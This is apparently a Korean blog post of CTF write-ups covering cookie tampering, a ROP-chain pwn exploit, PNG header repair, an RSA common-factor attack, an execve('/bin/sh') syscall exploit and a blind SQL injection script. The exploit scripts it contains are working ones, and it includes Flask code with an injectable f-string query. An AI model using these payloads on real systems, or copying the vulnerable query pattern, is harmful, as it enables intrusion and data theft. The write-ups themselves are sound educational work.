Date: Tue, 11 May 2021 17:33:38 GMT
Expect-Ct: max-age=2592000, report-uri="https://sentry.repl.it/api/10/security/?sentry_key=615192fd53244bfbbb12166cd7131791"
Replit-Cluster: hacker
Server: Werkzeug/1.0.1 Python/3.8.9
Strict-Transport-Security: max-age=6609447; includeSubDomains

<html>
  <head>
    <link rel="icon" href="https://i.imgur.com/wQxv5zm.png" type="image/gif" sizes="16x16">
    <title>500 | Internal Server Error</title>
  </head>
  <body>
    <script>
      window.onload = function() {
        var message = document.getElementById("message").textContent
        if(message == "Internal Server Error.") {
          document.getElementById("flag").style.visibility = "hidden";
          location.replace('https://www.youtube.com/watch?v=dQw4w9WgXcQ');
        }
      }
    </script>
    <h1 id="message">Internal Server Error.</h1>
    <p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
    <div style="position: fixed; bottom: 0; right: 0; border: 0; padding: 20px;">
      <p id="flag" style="display: block;">btw the flag is ictf{lmao_fake_flag}</p>
    </div>
  </body>
</html>

flag가 나왔는데 ictf{lmao_fake_flag} 이러고 있네 ㅋㅋ 쿠키값 조건을 안 맞춰주었기 때문에 else문의 환경변수 FLAG 가 출력된거 같은데 이건 가짜 flag였다.

따라서 프록시 툴로 잡아주고, 쿠키값을 변조해서 item과 money의 쿠키값을 같게해주고, add란 이름의 쿠키의 값을 1로 추가해주었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
GET https://imaginary-shop.max49.repl.co/shop?buy=bagel HTTP/1.1
Host: imaginary-shop.max49.repl.co
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: ko,en;q=0.9,en-US;q=0.8,fr;q=0.7
Cookie: item=a; money=a; add=1

맨 밑에 Cookie: item=a; money=a; add=1 이다. 이제 프록시 놓아주면 다음과 같이 flag가 나온다.

Result

image

FLAG

1
FLAG : ictf{1nt3nt10nal_f1ask_pyth0n_3rr0rs?}

[day 11] ROPnCall (75pts) - pwn

Problem

image

Solve

바이너리 파일 한 개가 주어진다. 이를 ida로 분석해보면 다음과 같다.

main함수

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rbp
  __int64 v5; // [rsp-18h] [rbp-18h]
  __int64 v6; // [rsp-8h] [rbp-8h]

  __asm { endbr64 }
  v6 = v3;
  sub_4010B0(_bss_start, 0LL, 2LL, 0LL);
  sub_4010B0(stdin, 0LL, 2LL, 0LL);
  sub_401080();
  sub_4010A0(&v5);
  return 0;
}

win함수

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 __usercall win@<rax>(int a1@<edx>, int a2@<ecx>, __int64 a3@<rbp>, int a4@<edi>, int a5@<esi>, int a6@<r8d>, int a7@<r9d>, int a8)
{
  __int64 result; // rax
  int v9; // [rsp-70h] [rbp-70h]
  int v10; // [rsp-6Ch] [rbp-6Ch]
  int v11; // [rsp-68h] [rbp-68h]
  int v12; // [rsp-64h] [rbp-64h]

  __asm { endbr64 }
  v12 = a1;
  v11 = a2;
  v10 = a6;
  v9 = a7;
  sub_4010C0("flag.txt", &unk_402008);
  result = sub_401090();
  if ( a4 == 0xACC01ADE
    && a5 == 0xB1A5ED0F
    && v12 == 0xDEADBEEF
    && v11 == 0xBA5EBA11
    && v10 == 0x1337C0DE
    && v9 == 0xC001C0DE
    && a8 == 0xDEA110C8 )
  {
    result = sub_401080();
  }
  return result;
}

보아하니 win함수에서는 if문을 만족하면 flag를 출력시켜주는 것 같다.

win함수의 매개 변수로 들어오는 값들을 각각 비교한다. 따라서 각각의 인자에 맞게 값을 맞춰주면 된다.

1
2
3
4
5
6
7
rdi = 0xACC01ADE  
rsi = 0xB1A5ED0F
rdx = 0xDEADBEEF
rcx = 0xBA5EBA11
r8 = 0x1337C0DE
r9 = 0xC001C0DE
stack = 0xDEA110C8

먼저 RTL chainging을 할 수 있도록 가젯들을 찾아준다. 이 문제에서는 my_stuff 함수를 통해 가젯들을 제공해 주었다.

image

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

r = remote('20.94.210.205', 1337)

r.recvuntil("\n")

win = 0x4011b6

rdi = 0x401353
rsi_r15 = 0x401351
rdx = 0x40126c
rcx = 0x401272
r8d = 0x40126e
r9d = 0x401271

payload = b''
payload += b'A'*(0x18-8)
payload += b'B'*8
payload += p64(rdi)
payload += p64(0xACC01ADE)
payload += p64(rsi_r15)
payload += p64(0xB1A5ED0F)
payload += p64(0) #dummy
payload += p64(rdx)
payload += p64(0xDEADBEEF)
payload += p64(rcx)
payload += p64(0xBA5EBA11)
payload += p64(r8d)
payload += p64(0x1337C0DE)
payload += p64(r9d)
payload += p64(0xC001C0DE)
payload += p64(win)
payload += p64(0) 
payload += p64(0xDEA110C8) #rsp + 0x10

r.sendline(payload)

r.interactive()

Result

image

FLAG

1
FLAG = ictf{linux_x86-64_follows_system_v_amd64_abi_calling_convention}

[day 13] Broken Bear (50pts) - forensics

Problem

image
이번 문제는 forensic 문제이다.

Solve

문제 파일로 준 broken_brea.png 를 HxD로 열어보니 파일 헤더부분의 파일 시그니쳐가 0x10으로 다 깨져있었다. image

따라서 png 헤드 시그니쳐인 89 50 4E 47 0D 0A 1A 0A 를 시그니처에 넣어주고, 사진을 확인해보면 flag가 나온다. image

Result

broken_bear

FLAG

1
FLAG : ictf{fixed_the_broken_bear!_:rooYay:}

[day 14] neatX2-rsa (80pts) - crypto

Problem

image

첫 번째 RSA 문제인 neat-rsa에서의 잘못된 점을 패치해서 v2버전으로 출제되었다.

main.py와 rsa.txt를 준다.

Solve

main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python3

from Crypto.Util.number import getPrime, bytes_to_long
from os import urandom

with open('flag.txt', 'r') as f:
  flag = f.read()

l = len(flag)
f1, f2 = flag[:l//2], flag[l//2:]

p, q, r = [getPrime(512) for _ in range(3)]
n1, n2 = p * q, q * r

e = 65537

elusive = bytes_to_long(urandom(4))

pt1 = bytes_to_long(f1.encode())
pt2 = bytes_to_long(f2.encode())

ct1 = pow(pt1, e, n1)
ct2 = pow(pt2, e, n2)

with open('rsa.txt', 'w') as g:
  g.write(f'n1 = {n1}\n')
  g.write(f'n2 + n1 * elusive = {n2 + n1 * elusive}\n')
  g.write(f'ct1 = {ct1}\n')
  g.write(f'ct2 = {ct2}\n')

rsa.txt

1
2
3
4
n1 = 98878585413420111471778656207638123975045211110656635970353347804869821302128842579958132410164515984259619169929609945243536843670867542016574747233040679074618910120171874883171653789706004625585438942339993393132921750420039791951387054706994507931530438002290410571520916054779248915404282444582688776277
n2 + n1 * elusive = 23595050757049056653463781748908038714868820902347735866124222218402456765220848777959603906702182606609476482684400919492347621023868708056210926343300138193461206211069005904795305622301213504748755998260018960789025669532682736280541355051103939458097663406797458686161938508453797698114083305795145127834762011086
ct1 = 64026441903198883744369748134116292929417128928415919615193619744877326668763636655522459322303056967804077972304432318124858743857665689618028707132671414242191635317047114847231019029930720381544652491326732165539455889323697800005143167353360693062303891506614029050256512544296411765216352481621764140551
ct2 = 23003322546612657966116591807431974059707146433471965126279420960433941874599757234276535458189194904060793206616208668805427453620513463780755100601367309101781656977722986585104491777071710597649117358596783311256495539269551802726889755947474620768927354082697233758955888707848918894102335373608237447388

이번 문제는 flag를 쪼개서, ct1과 ct2로 나누었고, 이에 대한 모듈러는 n1과 n2이다. 그리고 n1 = p * q , n2 = q * r 이다.

단계별로 간단한게 나눠서 구분하면 다음과 같다.

1단계 : q 구하기 n2 + n1 * dummy = q * (r + p * dummy)와 같다. r + p * dummy 를 X라고 했을 때, n2 + n1 * dummy = q * X 이다. 그리고 n1 = p * q 이다. 따라서 n1과 n2 + n1 * dummy는 공통 인수 q를 가지고 있다. n1이 소수의 곱이기 때문에 n1과 n2 + n1 * dummy의 최대공약수는 q이다.

1
q = gcd(n1, n2 + n1 * dummy)

2단계 : p 구하기 q를 구했으니 쉽게 구할 수 있다.

1
p = n1 // q

3단계 : r 구하기 z3 모듈을 이용해서 brute force하여 구할 수 있다. 스크립트 안에서 식을 확인할 수 있다.

p, q, r 값을 모두 구한 뒤, 각각의 역원 d1, d2를 구한 뒤, 플래그를 획득할 수 있다.

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from Crypto.Util.number import long_to_bytes, inverse
from z3 import *
from math import gcd

n1 = 98878585413420111471778656207638123975045211110656635970353347804869821302128842579958132410164515984259619169929609945243536843670867542016574747233040679074618910120171874883171653789706004625585438942339993393132921750420039791951387054706994507931530438002290410571520916054779248915404282444582688776277

C1 = 64026441903198883744369748134116292929417128928415919615193619744877326668763636655522459322303056967804077972304432318124858743857665689618028707132671414242191635317047114847231019029930720381544652491326732165539455889323697800005143167353360693062303891506614029050256512544296411765216352481621764140551
C2 = 23003322546612657966116591807431974059707146433471965126279420960433941874599757234276535458189194904060793206616208668805427453620513463780755100601367309101781656977722986585104491777071710597649117358596783311256495539269551802726889755947474620768927354082697233758955888707848918894102335373608237447388

e = 65537

n2_n1_elusive = 23595050757049056653463781748908038714868820902347735866124222218402456765220848777959603906702182606609476482684400919492347621023868708056210926343300138193461206211069005904795305622301213504748755998260018960789025669532682736280541355051103939458097663406797458686161938508453797698114083305795145127834762011086

q = gcd(n1, n2_n1_elusive)
p = n1 // q

x = z3.Int('x')
y = z3.Int('y')
tmp = 10000000

result = ''

for i in range(100):
    try:
        s = Solver()
        s.add(x> 1000000000000000000 , y > tmp, y > 100000000 , y < 9999999999, x + y*n1 == n2_n1_elusive)
        s.check()
        tmp = int(str(s.model()).split(',')[0][5:])
        result += str(tmp)+" "
        s.reset()
    except:
        break
a = result.split(" ")


for i in range(len(a)-1):
    elusive = int(a[i])
    n2 = n2_n1_elusive - n1 * elusive
    r = (n2 // q)

    phi1 = (p-1) * (q-1)
    phi2 = (q-1) * (r-1)

    d1 = inverse(e, phi1)
    d2 = inverse(e, phi2)

    M1 = pow(C1, d1, n1)
    M2 = pow(C2, d2, n2)
    if("\\x" not in str(long_to_bytes(M2))):
        print((long_to_bytes(M1)+long_to_bytes(M2)).decode())

Result

image

FLAG

1
FLAG : ictf{rsa_c@n_be_scary_but_th3_0nly_th1ng_th3y_f3@r_15_y0u_3qu1pped_w1th_th3_Z3_5MT_50lv3r}

[day 17] syscall me maybe (50pts) - pwn

Problem

image

Solve

주어진 바이너리 파일을 살펴보면 다음과 같다.

public _start
_start proc near
sub     rsp, 8
xor     rax, rax
xor     rdi, rdi        ; fd
mov     rsi, rsp        ; buf
mov     edx, 8          ; count
syscall                 ; LINUX - sys_read
sub     rsp, 8
xor     rax, rax
xor     rdi, rdi        ; fd
mov     rsi, rsp        ; buf
mov     edx, 8          ; count
syscall                 ; LINUX - sys_read
sub     rsp, 8
xor     rax, rax
xor     rdi, rdi        ; fd
mov     rsi, rsp        ; buf
mov     edx, 8          ; count
syscall                 ; LINUX - sys_read
sub     rsp, 8
xor     rax, rax
xor     rdi, rdi        ; fd
mov     rsi, rsp        ; buf
mov     edx, 8          ; count
syscall                 ; LINUX - sys_read
pop     rax
pop     rsi
mov     rdi, rsp
add     rsp, 8
pop     rdx
syscall                 ; LINUX -
mov     eax, 3Ch
mov     edi, 0          ; error_code
syscall                 ; LINUX - sys_exit
_start endp

어셈블리어로 컴파일되었으며, syscall을 이용하여 read를 통해 4번을 입력받고 pop을 통해 이 4개의 입력을 인자로 syscall을 진행한다.

따라서 쉘을 실행하기 위해서는 execve(“/bin/sh”, null, null) 을 호출하면 될 것이고, 4개의 인자 rax, rdi, rsi, rdx 에 각각의 값을 넣어주면 된다.

1
2
3
4
rax = 59 (execve)  
rdi = "/bin/sh"  
rsi = 0  
rdx = 0  

스크립트는 다음과 같다.

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

r = remote('oreos.imaginary.ml', 13337)

def send_msg(msg):
    r.send(msg)

send_msg(p64(0)) #rdx
send_msg(b'/bin/sh\x00') #rdi
send_msg(p64(0)) #rsi
send_msg(p64(59)) #rax

r.interactive()

Result

image

FLAG

1
FLAG : ictf{Here's_my_flag_sysc4ll_m3_m4yb3}

[day 22] Super Quantum League (97pts) - web

Problem

image

Solve

문제 스크립트

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from flask import Flask, render_template, request
from random import choice
import sqlite3
from sqlite3 import Error

web_site = Flask(__name__)

@web_site.route('/')
def index():
    return render_template('index.html')

@web_site.route('/user')
def user():
  try:
    username = request.args.get('username')
    password = request.args.get('password')
    conn = sqlite3.connect("database.db")
    c = conn.cursor()
    c.execute(f"SELECT * FROM users WHERE username='{username}' AND password='{password}'")
    resp = c.fetchone()
    if resp != None:
      return "Welcome, admin. You logged in. The flag is not ictf{fake_flag}."
    else:
      return "You didn't log in. Sad."
  except:
    return "You didn't log in. Sad."

web_site.run(host='0.0.0.0', port=6969)

sql injection 문제이다. 아무런 필터링이 없고, 결과 화면은 보여주지 않는다.

따라서 blind sql injection을 통해 username=”admin”인 password를 추출했다.

결과를 보았더니 password가 flag였다.

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests as rq

url = "http://superquantumleague.imaginary.ml/user?username="

t = "ictf{fake_flag}"

length = 0

for i in range(64):
    query = "' or username='admin' and length(password)="+str(i)+"--&password="
    res = rq.get(url + query)
    if(res.text.find(t) != -1):
        length = i
        break
print("[*]password length = "+str(length))

key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+=-{}"

result = ''

for i in range(1, length+1):
    for j in key:
        query = "' or username='admin' and substr(password,"+str(i)+", 1)='"+j+"'--&password="
        res = rq.get(url + query)
        if(res.text.find(t) != -1):
            result += j
            print(result)
            break
print("FLAG : "+result)

Result

image

FLAG

1
FLAG : ictf{bl1nd_1nj3ct1on_ftw_5a7566bc}

comments powered by Disqus